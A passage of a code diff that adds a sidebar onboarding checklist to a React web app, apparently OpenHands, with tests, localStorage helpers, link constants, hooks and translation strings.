expect(modal.contains(checkbox)).toBe(false); + }); + + it("persists dismissal when the skip checkbox is checked", async () => { + const user = userEvent.setup(); + renderModal(vi.fn(), { initialStep: 3 }); + + await waitFor(() => { + expect( + screen.getByTestId("onboarding-skip-getting-started-checklist"), + ).toBeInTheDocument(); + }); + + await user.click( + screen.getByTestId("onboarding-skip-getting-started-checklist"), + ); + + expect( + window.localStorage.getItem( + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY, + ), + ).toBe("true"); + }); + }); }); diff --git a/__tests__/components/settings/app-settings/getting-started-checklist-switch.test.tsx b/__tests__/components/settings/app-settings/getting-started-checklist-switch.test.tsx new file mode 100644 index 000000000000..cf9eb8ada0f3 --- /dev/null +++ b/__tests__/components/settings/app-settings/getting-started-checklist-switch.test.tsx @@ -0,0 +1,48 @@ +import { beforeEach, describe, expect, it } from "vitest"; +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { GettingStartedChecklistSwitch } from "#/components/features/settings/app-settings/getting-started-checklist-switch"; +import { SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY } from "#/components/features/sidebar/sidebar-onboarding-checklist.constants"; +import { readSidebarOnboardingChecklistDismissed } from "#/components/features/sidebar/sidebar-onboarding-checklist-storage"; + +describe("GettingStartedChecklistSwitch", () => { + beforeEach(() => { + window.localStorage.clear(); + }); + + it("shows the checklist by default and hides it when toggled off", async () => { + const user = userEvent.setup(); + render(); + + const toggle = screen.getByTestId("show-getting-started-checklist-switch"); + expect(toggle).toBeChecked(); + expect(readSidebarOnboardingChecklistDismissed()).toBe(false); + + await user.click(toggle); + + expect(toggle).not.toBeChecked(); + expect( + window.localStorage.getItem( + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY, + ), + ).toBe("true"); + }); + + it("re-enables the checklist when toggled back on", async () => { + window.localStorage.setItem( + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY, + "true", + ); + + const user = userEvent.setup(); + render(); + + const toggle = screen.getByTestId("show-getting-started-checklist-switch"); + expect(toggle).not.toBeChecked(); + + await user.click(toggle); + + expect(toggle).toBeChecked(); + expect(readSidebarOnboardingChecklistDismissed()).toBe(false); + }); +}); diff --git a/src/components/features/onboarding/onboarding-modal.tsx b/src/components/features/onboarding/onboarding-modal.tsx index acb60a71017b..a347fd30cd3c 100644 --- a/src/components/features/onboarding/onboarding-modal.tsx +++ b/src/components/features/onboarding/onboarding-modal.tsx @@ -2,6 +2,10 @@ import React from "react"; import { useTranslation } from "react-i18next"; import { isNoBackend } from "#/api/backend-registry/active-store"; import { getLockedCloudHost, isSameCloudHost } from "#/api/agent-server-config"; +import { + readSidebarOnboardingChecklistDismissed, + writeSidebarOnboardingChecklistDismissed, +} from "#/components/features/sidebar/sidebar-onboarding-checklist-storage"; import { ModalBackdrop } from "#/components/shared/modals/modal-backdrop"; import { MODAL_MAX_WIDTH_VIEWPORT, @@ -177,6 +181,8 @@ export function OnboardingModal({ ); const [selectedAgentId, setSelectedAgentId] = React.useState("openhands"); + const [skipGettingStartedChecklist, setSkipGettingStartedChecklist] = + React.useState(() => readSidebarOnboardingChecklistDismissed()); // When the backend slide drops out of the flow (skipBackendStep flips // true), a user still parked on "backend" must be moved forward to the @@ -191,6 +197,14 @@ export function OnboardingModal({ const currentPhase = slideOrder.includes(phase) ? phase : slideOrder[0]; const currentStep = slideOrder.indexOf(currentPhase); + const handleSkipGettingStartedChange = ( + event: React.ChangeEvent, + ) => { + const skip = event.target.checked; + setSkipGettingStartedChecklist(skip); + writeSidebarOnboardingChecklistDismissed(skip); + }; + // Backend connectivity is "settled" once we know whether the active backend // is reachable (or no backend is selected). Until then `skipBackendStep` may // still flip true and renumber the slides, briefly showing the backend slide @@ -379,6 +393,19 @@ export function OnboardingModal({ {t(I18nKey.ONBOARDING$SKIP)} ) : null} + + {currentPhase === "hello" ? ( + + ) : null}
); diff --git a/src/components/features/settings/app-settings/getting-started-checklist-switch.tsx b/src/components/features/settings/app-settings/getting-started-checklist-switch.tsx new file mode 100644 index 000000000000..3c9edec3c79e --- /dev/null +++ b/src/components/features/settings/app-settings/getting-started-checklist-switch.tsx @@ -0,0 +1,24 @@ +import { useTranslation } from "react-i18next"; +import { SettingsSwitch } from "#/components/features/settings/settings-switch"; +import { useSidebarOnboardingChecklistDismissed } from "#/components/features/sidebar/use-sidebar-onboarding-checklist-dismissed"; +import { writeSidebarOnboardingChecklistDismissed } from "#/components/features/sidebar/sidebar-onboarding-checklist-storage"; +import { I18nKey } from "#/i18n/declaration"; + +export function GettingStartedChecklistSwitch() { + const { t } = useTranslation("openhands"); + const isDismissed = useSidebarOnboardingChecklistDismissed(); + + const handleToggle = (showChecklist: boolean) => { + writeSidebarOnboardingChecklistDismissed(!showChecklist); + }; + + return ( + + {t(I18nKey.SETTINGS$SHOW_GETTING_STARTED_CHECKLIST)} + + ); +} diff --git a/src/components/features/sidebar/sidebar-onboarding-checklist-item-icon.tsx b/src/components/features/sidebar/sidebar-onboarding-checklist-item-icon.tsx new file mode 100644 index 000000000000..432c2582298e --- /dev/null +++ b/src/components/features/sidebar/sidebar-onboarding-checklist-item-icon.tsx @@ -0,0 +1,123 @@ +import { Plus } from "lucide-react"; +import ClockIcon from "#/icons/clock.svg?react"; +import KeyIcon from "#/icons/key.svg?react"; +import ServerProcessIcon from "#/icons/server-process.svg?react"; +import SlackIcon from "#/icons/slack.svg?react"; +import { cn } from "#/utils/utils"; +import type { SidebarOnboardingChecklistItemId } from "./sidebar-onboarding-checklist.constants"; + +const PREVIEW_ICON_SIZE = 18; + +function CustomizeAgentIcon() { + return ( + + ); +} + +interface SidebarOnboardingChecklistItemIconProps { + id: SidebarOnboardingChecklistItemId; + className?: string; +} + +export function SidebarOnboardingChecklistItemIcon({ + id, + className, +}: SidebarOnboardingChecklistItemIconProps) { + const iconClassName = cn("shrink-0 text-white", className); + const testId = `sidebar-onboarding-checklist-icon-${id}`; + + switch (id) { + case "configure-llm": + return ( + + + + ); + case "start-conversation": + return ( + + + + ); + case "schedule-task": + return ( + + + + ); + case "customize-agent": + return ( + + + + ); + case "connect-mcp": + return ( + + + + ); + case "join-slack": + return ( + + + + ); + default: { + const unreachable: never = id; + return unreachable; + } + } +} diff --git a/src/components/features/sidebar/sidebar-onboarding-checklist-item-preview.tsx b/src/components/features/sidebar/sidebar-onboarding-checklist-item-preview.tsx new file mode 100644 index 000000000000..047c65dc60fe --- /dev/null +++ b/src/components/features/sidebar/sidebar-onboarding-checklist-item-preview.tsx @@ -0,0 +1,87 @@ +import { BookOpen } from "lucide-react"; +import { useTranslation } from "react-i18next"; +import { NavigationLink } from "#/components/shared/navigation-link"; +import { I18nKey } from "#/i18n/declaration"; +import { cn } from "#/utils/utils"; +import { + getSidebarOnboardingChecklistHref, + SIDEBAR_ONBOARDING_CHECKLIST_ACTION_I18N_KEYS, + SIDEBAR_ONBOARDING_CHECKLIST_DESCRIPTION_I18N_KEYS, + SIDEBAR_ONBOARDING_CHECKLIST_DOCS_URLS, + SIDEBAR_ONBOARDING_CHECKLIST_I18N_KEYS, + type SidebarOnboardingChecklistItemId, +} from "./sidebar-onboarding-checklist.constants"; +import { SidebarOnboardingChecklistItemIcon } from "./sidebar-onboarding-checklist-item-icon"; + +const PREVIEW_ACTION_BUTTON_CLASS = cn( + "inline-flex shrink-0 items-center rounded-md bg-white px-2.5 py-1", + "text-xs font-medium text-black transition-colors hover:bg-white/90", +); + +interface SidebarOnboardingChecklistItemPreviewProps { + id: SidebarOnboardingChecklistItemId; + onActionClick?: () => void; +} + +export function SidebarOnboardingChecklistItemPreview({ + id, + onActionClick, +}: SidebarOnboardingChecklistItemPreviewProps) { + const { t } = useTranslation("openhands"); + const titleKey = SIDEBAR_ONBOARDING_CHECKLIST_I18N_KEYS[id]; + const descriptionKey = SIDEBAR_ONBOARDING_CHECKLIST_DESCRIPTION_I18N_KEYS[id]; + const actionKey = SIDEBAR_ONBOARDING_CHECKLIST_ACTION_I18N_KEYS[id]; + const docsUrl = SIDEBAR_ONBOARDING_CHECKLIST_DOCS_URLS[id]; + const href = getSidebarOnboardingChecklistHref(id); + + return ( +
+
+ + + + + {t(titleKey)} + +
+

+ {t(descriptionKey)} +

+
+ + + {t(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_DOCS_LINK)} + + {href.kind === "external" ? ( + + {t(actionKey)} + + ) : ( + + {t(actionKey)} + + )} +
+
+ ); +} diff --git a/src/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.ts b/src/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.ts new file mode 100644 index 000000000000..1f71f532298e --- /dev/null +++ b/src/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.ts @@ -0,0 +1,50 @@ +import type { ProfileListResponse } from "#/api/profiles-service/profiles-service.api"; +import type { Settings } from "#/types/settings"; + +function hasLlmProfileWithApiKey( + profilesData: ProfileListResponse | undefined, +): boolean { + return ( + profilesData?.profiles.some((profile) => profile.api_key_set === true) ?? + false + ); +} + +function hasConfiguredLlmInSettings(settings: Settings | undefined): boolean { + const llm = settings?.agent_settings?.llm as + | { model?: unknown; auth_type?: unknown } + | undefined; + const hasModel = typeof llm?.model === "string" && llm.model.length > 0; + const hasAuth = + settings?.llm_api_key_set === true || + settings?.llm_api_key_is_set === true || + llm?.auth_type === "subscription"; + + return hasModel && hasAuth; +} + +export function isConfigureLlmChecklistItemComplete( + settings: Settings | undefined, + isLlmConfigured: boolean, + isLlmConfiguredLoading: boolean, + profilesData: ProfileListResponse | undefined, + isProfilesLoading: boolean, +): boolean { + if (hasLlmProfileWithApiKey(profilesData)) { + return true; + } + + if (isLlmConfigured) { + return true; + } + + if (hasConfiguredLlmInSettings(settings)) { + return true; + } + + if (isLlmConfiguredLoading || (isProfilesLoading && !profilesData)) { + return false; + } + + return false; +} diff --git a/src/components/features/sidebar/sidebar-onboarding-checklist-storage.ts b/src/components/features/sidebar/sidebar-onboarding-checklist-storage.ts new file mode 100644 index 000000000000..fdfcc44ecb27 --- /dev/null +++ b/src/components/features/sidebar/sidebar-onboarding-checklist-storage.ts @@ -0,0 +1,117 @@ +import { + SIDEBAR_ONBOARDING_CHECKLIST_CUSTOMIZE_EXPLORED_STORAGE_KEY, + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_CHANGE_EVENT, + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY, + SIDEBAR_ONBOARDING_CHECKLIST_MINIMIZED_STORAGE_KEY, + SIDEBAR_ONBOARDING_CHECKLIST_SLACK_JOINED_STORAGE_KEY, +} from "./sidebar-onboarding-checklist.constants"; + +export function readSidebarOnboardingChecklistDismissed(): boolean { + if (typeof window === "undefined") { + return false; + } + + return ( + window.localStorage.getItem( + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY, + ) === "true" + ); +} + +export function getSidebarOnboardingChecklistDismissedSnapshot(): boolean { + return readSidebarOnboardingChecklistDismissed(); +} + +export function subscribeSidebarOnboardingChecklistDismissed( + onStoreChange: () => void, +): () => void { + const handleChange = () => onStoreChange(); + window.addEventListener("storage", handleChange); + window.addEventListener( + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_CHANGE_EVENT, + handleChange, + ); + + return () => { + window.removeEventListener("storage", handleChange); + window.removeEventListener( + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_CHANGE_EVENT, + handleChange, + ); + }; +} + +export function writeSidebarOnboardingChecklistDismissed( + dismissed: boolean, +): void { + window.localStorage.setItem( + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY, + dismissed ? "true" : "false", + ); + window.dispatchEvent( + new Event(SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_CHANGE_EVENT), + ); +} + +export function readSidebarOnboardingChecklistMinimized(): boolean { + if (typeof window === "undefined") { + return false; + } + + return ( + window.localStorage.getItem( + SIDEBAR_ONBOARDING_CHECKLIST_MINIMIZED_STORAGE_KEY, + ) === "true" + ); +} + +export function writeSidebarOnboardingChecklistMinimized( + minimized: boolean, +): void { + window.localStorage.setItem( + SIDEBAR_ONBOARDING_CHECKLIST_MINIMIZED_STORAGE_KEY, + minimized ? "true" : "false", + ); +} + +export function readSidebarOnboardingChecklistCustomizeExplored(): boolean { + if (typeof window === "undefined") { + return false; + } + + return ( + window.localStorage.getItem( + SIDEBAR_ONBOARDING_CHECKLIST_CUSTOMIZE_EXPLORED_STORAGE_KEY, + ) === "true" + ); +} + +export function writeSidebarOnboardingChecklistCustomizeExplored( + explored: boolean, +): void { + window.localStorage.setItem( + SIDEBAR_ONBOARDING_CHECKLIST_CUSTOMIZE_EXPLORED_STORAGE_KEY, + explored ? "true" : "false", + ); +} + +export function readSidebarOnboardingChecklistSlackJoined(): boolean { + if (typeof window === "undefined") { + return false; + } + + return ( + window.localStorage.getItem( + SIDEBAR_ONBOARDING_CHECKLIST_SLACK_JOINED_STORAGE_KEY, + ) === "true" + ); +} + +export function writeSidebarOnboardingChecklistSlackJoined( + joined: boolean, +): void { + window.localStorage.setItem( + SIDEBAR_ONBOARDING_CHECKLIST_SLACK_JOINED_STORAGE_KEY, + joined ? "true" : "false", + ); +} diff --git a/src/components/features/sidebar/sidebar-onboarding-checklist.constants.ts b/src/components/features/sidebar/sidebar-onboarding-checklist.constants.ts new file mode 100644 index 000000000000..695b62a472bc --- /dev/null +++ b/src/components/features/sidebar/sidebar-onboarding-checklist.constants.ts @@ -0,0 +1,121 @@ +import { I18nKey } from "#/i18n/declaration"; + +const SCHEDULED_TASKS_DOCS_URL = + "https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt-automations"; + +/** Canonical Slack invite redirect from openhands.dev. */ +export const OPENHANDS_SLACK_COMMUNITY_URL = "https://openhands.dev/joinslack"; + +export const SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY = + "openhands-sidebar-onboarding-checklist-dismissed"; + +export const SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_CHANGE_EVENT = + "openhands-sidebar-onboarding-checklist-dismissed-change"; + +export const SIDEBAR_ONBOARDING_CHECKLIST_MINIMIZED_STORAGE_KEY = + "openhands-sidebar-onboarding-checklist-minimized"; + +export const SIDEBAR_ONBOARDING_CHECKLIST_CUSTOMIZE_EXPLORED_STORAGE_KEY = + "openhands-sidebar-onboarding-checklist-customize-explored"; + +export const SIDEBAR_ONBOARDING_CHECKLIST_SLACK_JOINED_STORAGE_KEY = + "openhands-sidebar-onboarding-checklist-slack-joined"; + +export const SIDEBAR_ONBOARDING_CHECKLIST_ITEM_IDS = [ + "configure-llm", + "start-conversation", + "schedule-task", + "customize-agent", + "connect-mcp", + "join-slack", +] as const; + +export type SidebarOnboardingChecklistItemId = + (typeof SIDEBAR_ONBOARDING_CHECKLIST_ITEM_IDS)[number]; + +export type SidebarOnboardingChecklistInternalItemId = Exclude< + SidebarOnboardingChecklistItemId, + "join-slack" +>; + +export const SIDEBAR_ONBOARDING_CHECKLIST_ROUTES: Record< + SidebarOnboardingChecklistInternalItemId, + string +> = { + "configure-llm": "/settings/llm", + "connect-mcp": "/mcp", + "start-conversation": "/conversations", + "schedule-task": "/automations", + "customize-agent": "/settings/agents", +}; + +export function isExternalSidebarOnboardingChecklistItem( + id: SidebarOnboardingChecklistItemId, +): id is "join-slack" { + return id === "join-slack"; +} + +export function getSidebarOnboardingChecklistHref( + id: SidebarOnboardingChecklistItemId, +): { kind: "internal" | "external"; href: string } { + if (isExternalSidebarOnboardingChecklistItem(id)) { + return { kind: "external", href: OPENHANDS_SLACK_COMMUNITY_URL }; + } + + return { kind: "internal", href: SIDEBAR_ONBOARDING_CHECKLIST_ROUTES[id] }; +} + +export const SIDEBAR_ONBOARDING_CHECKLIST_I18N_KEYS: Record< + SidebarOnboardingChecklistItemId, + I18nKey +> = { + "configure-llm": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM, + "connect-mcp": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONNECT_MCP, + "start-conversation": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_START_CHAT, + "schedule-task": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_SCHEDULE_TASK, + "customize-agent": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CUSTOMIZE, + "join-slack": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK, +}; + +export const SIDEBAR_ONBOARDING_CHECKLIST_DESCRIPTION_I18N_KEYS: Record< + SidebarOnboardingChecklistItemId, + I18nKey +> = { + "configure-llm": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM_DESC, + "connect-mcp": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONNECT_MCP_DESC, + "start-conversation": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_START_CHAT_DESC, + "schedule-task": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_SCHEDULE_TASK_DESC, + "customize-agent": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CUSTOMIZE_DESC, + "join-slack": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK_DESC, +}; + +export const SIDEBAR_ONBOARDING_CHECKLIST_ACTION_I18N_KEYS: Record< + SidebarOnboardingChecklistItemId, + I18nKey +> = { + "configure-llm": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_ACTION_CONFIGURE_LLM, + "connect-mcp": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_ACTION_CONNECT_MCP, + "start-conversation": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_ACTION_START_CHAT, + "schedule-task": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_ACTION_SCHEDULE_TASK, + "customize-agent": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_ACTION_CUSTOMIZE, + "join-slack": I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_ACTION_JOIN_SLACK, +}; + +export const SIDEBAR_ONBOARDING_CHECKLIST_DOCS_URLS: Record< + SidebarOnboardingChecklistItemId, + string +> = { + "configure-llm": + "https://docs.openhands.dev/openhands/usage/settings/llm-settings#llm-profiles", + "start-conversation": + "https://docs.openhands.dev/openhands/usage/agent-canvas/backends", + "schedule-task": SCHEDULED_TASKS_DOCS_URL, + "customize-agent": + "https://docs.openhands.dev/openhands/usage/agent-canvas/customize-and-settings", + "connect-mcp": "https://docs.openhands.dev/overview/model-context-protocol", + "join-slack": "https://docs.openhands.dev/overview/community", +}; + +export function isCustomizeChecklistPath(path: string): boolean { + return path === "/settings/agents" || path.startsWith("/settings/agents/"); +} diff --git a/src/components/features/sidebar/sidebar-onboarding-checklist.tsx b/src/components/features/sidebar/sidebar-onboarding-checklist.tsx new file mode 100644 index 000000000000..2445e34e0d3d --- /dev/null +++ b/src/components/features/sidebar/sidebar-onboarding-checklist.tsx @@ -0,0 +1,208 @@ +import { Tooltip } from "@heroui/react"; +import { Check, ChevronDown } from "lucide-react"; +import { useTranslation } from "react-i18next"; +import { NavigationLink } from "#/components/shared/navigation-link"; +import { I18nKey } from "#/i18n/declaration"; +import { cn } from "#/utils/utils"; +import { + getSidebarOnboardingChecklistHref, + isExternalSidebarOnboardingChecklistItem, + SIDEBAR_ONBOARDING_CHECKLIST_I18N_KEYS, + type SidebarOnboardingChecklistItemId, +} from "./sidebar-onboarding-checklist.constants"; +import { SidebarOnboardingChecklistItemPreview } from "./sidebar-onboarding-checklist-item-preview"; +import { useSidebarOnboardingChecklist } from "./use-sidebar-onboarding-checklist"; + +const CHECKLIST_ITEM_TOOLTIP_CLASS = + "rounded-xl border border-[var(--oh-border)] bg-base-secondary p-0 text-white shadow-xl"; + +const CHECKLIST_ITEM_CLASS = cn( + "flex min-w-0 w-full items-center gap-2.5 rounded-md px-2.5 py-1.5 text-sm", + "transition-colors hover:bg-[var(--oh-surface)]", +); + +interface SidebarOnboardingChecklistProps { + collapsed: boolean; +} + +function ChecklistStatusIcon({ isComplete }: { isComplete: boolean }) { + return ( + + {isComplete ? : null} + + ); +} + +function ChecklistItem({ + id, + isComplete, + onActivate, +}: { + id: SidebarOnboardingChecklistItemId; + isComplete: boolean; + onActivate?: () => void; +}) { + const { t } = useTranslation("openhands"); + const labelKey = SIDEBAR_ONBOARDING_CHECKLIST_I18N_KEYS[id]; + const disableAnimation = import.meta.env.MODE === "test"; + const href = getSidebarOnboardingChecklistHref(id); + const itemClassName = cn( + CHECKLIST_ITEM_CLASS, + isComplete ? "text-muted" : "text-content", + ); + const label = ( + <> + + + {t(labelKey)} + + + ); + + return ( +
  • + + } + > + {href.kind === "external" ? ( + + {label} + + ) : ( + + {label} + + )} + +
  • + ); +} + +export function SidebarOnboardingChecklist({ + collapsed, +}: SidebarOnboardingChecklistProps) { + const { t } = useTranslation("openhands"); + const { + items, + completedCount, + isVisible, + isMinimized, + toggleMinimized, + markJoinSlackComplete, + } = useSidebarOnboardingChecklist(); + + if (collapsed || !isVisible) { + return null; + } + + return ( +
    +
    +
    +
    +
    + + {!isMinimized ? ( +
      + {items.map((item) => ( + + ))} +
    + ) : null} +
    + ); +} diff --git a/src/components/features/sidebar/sidebar-rail-body.tsx b/src/components/features/sidebar/sidebar-rail-body.tsx index e77fa08d6d00..e1ffaa5558fa 100644 --- a/src/components/features/sidebar/sidebar-rail-body.tsx +++ b/src/components/features/sidebar/sidebar-rail-body.tsx @@ -24,6 +24,7 @@ import { BackendStatusDot } from "#/components/features/backends/backend-status- import { CommandMenuTrigger } from "#/components/features/command-menu/command-menu-trigger"; import { AgentCanvasVersionTile } from "#/components/features/settings/agent-canvas-version-tile"; import { SidebarConversationList } from "./sidebar-conversation-list"; +import { SidebarOnboardingChecklist } from "./sidebar-onboarding-checklist"; import AutomationsIcon from "#/icons/automations.svg?react"; import { SIDEBAR_COLLAPSE_TOGGLE_OVERLAY_CLASS, @@ -312,15 +313,20 @@ export function SidebarRailBody({ ) : null} {!collapsed ? ( -
    - - -
    + <> +
    + +
    +
    + + +
    + ) : null}
    ); diff --git a/src/components/features/sidebar/use-sidebar-onboarding-checklist-dismissed.ts b/src/components/features/sidebar/use-sidebar-onboarding-checklist-dismissed.ts new file mode 100644 index 000000000000..bf35363b6542 --- /dev/null +++ b/src/components/features/sidebar/use-sidebar-onboarding-checklist-dismissed.ts @@ -0,0 +1,13 @@ +import { useSyncExternalStore } from "react"; +import { + getSidebarOnboardingChecklistDismissedSnapshot, + subscribeSidebarOnboardingChecklistDismissed, +} from "./sidebar-onboarding-checklist-storage"; + +export function useSidebarOnboardingChecklistDismissed(): boolean { + return useSyncExternalStore( + subscribeSidebarOnboardingChecklistDismissed, + getSidebarOnboardingChecklistDismissedSnapshot, + () => false, + ); +} diff --git a/src/components/features/sidebar/use-sidebar-onboarding-checklist.ts b/src/components/features/sidebar/use-sidebar-onboarding-checklist.ts new file mode 100644 index 000000000000..410192d168af --- /dev/null +++ b/src/components/features/sidebar/use-sidebar-onboarding-checklist.ts @@ -0,0 +1,159 @@ +import { useEffect, useMemo, useState, useSyncExternalStore } from "react"; +import { useOnboardingCompletion } from "#/components/features/onboarding/use-onboarding-completion"; +import { useNavigation } from "#/context/navigation-context"; +import { useAutomations } from "#/hooks/query/use-automations"; +import { useAutomationHealth } from "#/hooks/query/use-automation-health"; +import { usePaginatedConversations } from "#/hooks/query/use-paginated-conversations"; +import { useSettings } from "#/hooks/query/use-settings"; +import { useLlmProfiles } from "#/hooks/query/use-llm-profiles"; +import { useLlmConfigured } from "#/hooks/use-llm-configured"; +import { parseMcpConfig } from "#/utils/mcp-config"; +import { + isCustomizeChecklistPath, + SIDEBAR_ONBOARDING_CHECKLIST_ITEM_IDS, + type SidebarOnboardingChecklistItemId, +} from "./sidebar-onboarding-checklist.constants"; +import { isConfigureLlmChecklistItemComplete } from "./sidebar-onboarding-checklist-llm-complete"; +import { + readSidebarOnboardingChecklistCustomizeExplored, + readSidebarOnboardingChecklistMinimized, + readSidebarOnboardingChecklistSlackJoined, + subscribeSidebarOnboardingChecklistDismissed, + getSidebarOnboardingChecklistDismissedSnapshot, + writeSidebarOnboardingChecklistCustomizeExplored, + writeSidebarOnboardingChecklistDismissed, + writeSidebarOnboardingChecklistMinimized, + writeSidebarOnboardingChecklistSlackJoined, +} from "./sidebar-onboarding-checklist-storage"; + +export interface SidebarOnboardingChecklistItemState { + id: SidebarOnboardingChecklistItemId; + isComplete: boolean; +} + +function hasConfiguredMcpServers(mcpConfig: unknown): boolean { + return Object.keys(parseMcpConfig(mcpConfig)).length > 0; +} + +export function useSidebarOnboardingChecklist() { + const { isCompleted: onboardingCompleted } = useOnboardingCompletion(); + const { currentPath } = useNavigation(); + const isDismissed = useSyncExternalStore( + subscribeSidebarOnboardingChecklistDismissed, + getSidebarOnboardingChecklistDismissedSnapshot, + () => false, + ); + const [isMinimized, setIsMinimized] = useState( + readSidebarOnboardingChecklistMinimized, + ); + const [hasExploredCustomize, setHasExploredCustomize] = useState( + readSidebarOnboardingChecklistCustomizeExplored, + ); + const [hasJoinedSlack, setHasJoinedSlack] = useState( + readSidebarOnboardingChecklistSlackJoined, + ); + + const { data: settings } = useSettings(); + const { isConfigured: isLlmConfigured, isLoading: isLlmConfiguredLoading } = + useLlmConfigured(); + const { data: profilesData, isLoading: isProfilesLoading } = useLlmProfiles(); + const { data: conversationPage } = usePaginatedConversations(1); + const { data: healthData } = useAutomationHealth(); + const isAutomationBackendHealthy = healthData?.status === "ok"; + const { data: automationsData } = useAutomations({ + limit: 1, + offset: 0, + enabled: isAutomationBackendHealthy, + }); + + useEffect(() => { + if (!isCustomizeChecklistPath(currentPath)) { + return; + } + + if (hasExploredCustomize) { + return; + } + + writeSidebarOnboardingChecklistCustomizeExplored(true); + setHasExploredCustomize(true); + }, [currentPath, hasExploredCustomize]); + + const completionById = useMemo(() => { + const hasConversation = (conversationPage?.pages[0]?.items.length ?? 0) > 0; + const hasAutomation = (automationsData?.total ?? 0) > 0; + + return { + "configure-llm": isConfigureLlmChecklistItemComplete( + settings, + isLlmConfigured, + isLlmConfiguredLoading, + profilesData, + isProfilesLoading, + ), + "connect-mcp": hasConfiguredMcpServers( + settings?.agent_settings?.mcp_config, + ), + "start-conversation": hasConversation, + "schedule-task": hasAutomation, + "customize-agent": hasExploredCustomize, + "join-slack": hasJoinedSlack, + } satisfies Record; + }, [ + automationsData?.total, + conversationPage?.pages, + hasExploredCustomize, + hasJoinedSlack, + isLlmConfigured, + isLlmConfiguredLoading, + isProfilesLoading, + profilesData, + settings, + settings?.agent_settings?.mcp_config, + ]); + + const items = useMemo( + (): SidebarOnboardingChecklistItemState[] => + SIDEBAR_ONBOARDING_CHECKLIST_ITEM_IDS.map((id) => ({ + id, + isComplete: completionById[id], + })), + [completionById], + ); + + const completedCount = items.filter((item) => item.isComplete).length; + const isAllComplete = completedCount === items.length; + + const isVisible = onboardingCompleted && !isDismissed && !isAllComplete; + + const dismiss = () => { + writeSidebarOnboardingChecklistDismissed(true); + }; + + const toggleMinimized = () => { + setIsMinimized((current) => { + const next = !current; + writeSidebarOnboardingChecklistMinimized(next); + return next; + }); + }; + + const markJoinSlackComplete = () => { + if (hasJoinedSlack) { + return; + } + writeSidebarOnboardingChecklistSlackJoined(true); + setHasJoinedSlack(true); + }; + + return { + items, + completedCount, + totalCount: items.length, + isVisible, + isMinimized, + dismiss, + toggleMinimized, + markJoinSlackComplete, + }; +} diff --git a/src/i18n/translation.json b/src/i18n/translation.json index da78aa2c0a7b..4ff27aa76720 100644 --- a/src/i18n/translation.json +++ b/src/i18n/translation.json @@ -37467,6 +37467,482 @@ "uk": "Запитано дочірню розмову", "ca": "S'ha sol·licitat una conversa filla" }, + "SIDEBAR$ONBOARDING_CHECKLIST_TITLE": { + "en": "Getting started", + "ja": "はじめに", + "zh-CN": "入门指南", + "zh-TW": "入門指南", + "ko-KR": "시작하기", + "no": "Kom i gang", + "ar": "البدء", + "de": "Erste Schritte", + "fr": "Premiers pas", + "it": "Per iniziare", + "pt": "Primeiros passos", + "es": "Primeros pasos", + "ca": "Primers passos", + "tr": "Başlarken", + "uk": "Початок роботи" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_PROGRESS": { + "en": "{{completed}} complete", + "ja": "{{completed}} 完了", + "zh-CN": "已完成 {{completed}} 项", + "zh-TW": "已完成 {{completed}} 項", + "ko-KR": "{{completed}}개 완료", + "no": "{{completed}} fullført", + "ar": "{{completed}} مكتمل", + "de": "{{completed}} abgeschlossen", + "fr": "{{completed}} terminé(s)", + "it": "{{completed}} completati", + "pt": "{{completed}} concluídos", + "es": "{{completed}} completados", + "ca": "{{completed}} completats", + "tr": "{{completed}} tamamlandı", + "uk": "{{completed}} виконано" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_START_CHAT": { + "en": "Start your first chat", + "ja": "最初のチャットを開始", + "zh-CN": "开始第一次对话", + "zh-TW": "開始第一次對話", + "ko-KR": "첫 대화 시작하기", + "no": "Start din første chat", + "ar": "ابدأ أول محادثة", + "de": "Starten Sie Ihren ersten Chat", + "fr": "Démarrer votre première conversation", + "it": "Avvia la tua prima chat", + "pt": "Inicie seu primeiro chat", + "es": "Inicia tu primer chat", + "ca": "Inicia el teu primer xat", + "tr": "İlk sohbetinizi başlatın", + "uk": "Почніть перший чат" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_SCHEDULE_TASK": { + "en": "Schedule a task", + "ja": "タスクをスケジュール", + "zh-CN": "安排计划任务", + "zh-TW": "安排排程任務", + "ko-KR": "작업 예약하기", + "no": "Planlegg en oppgave", + "ar": 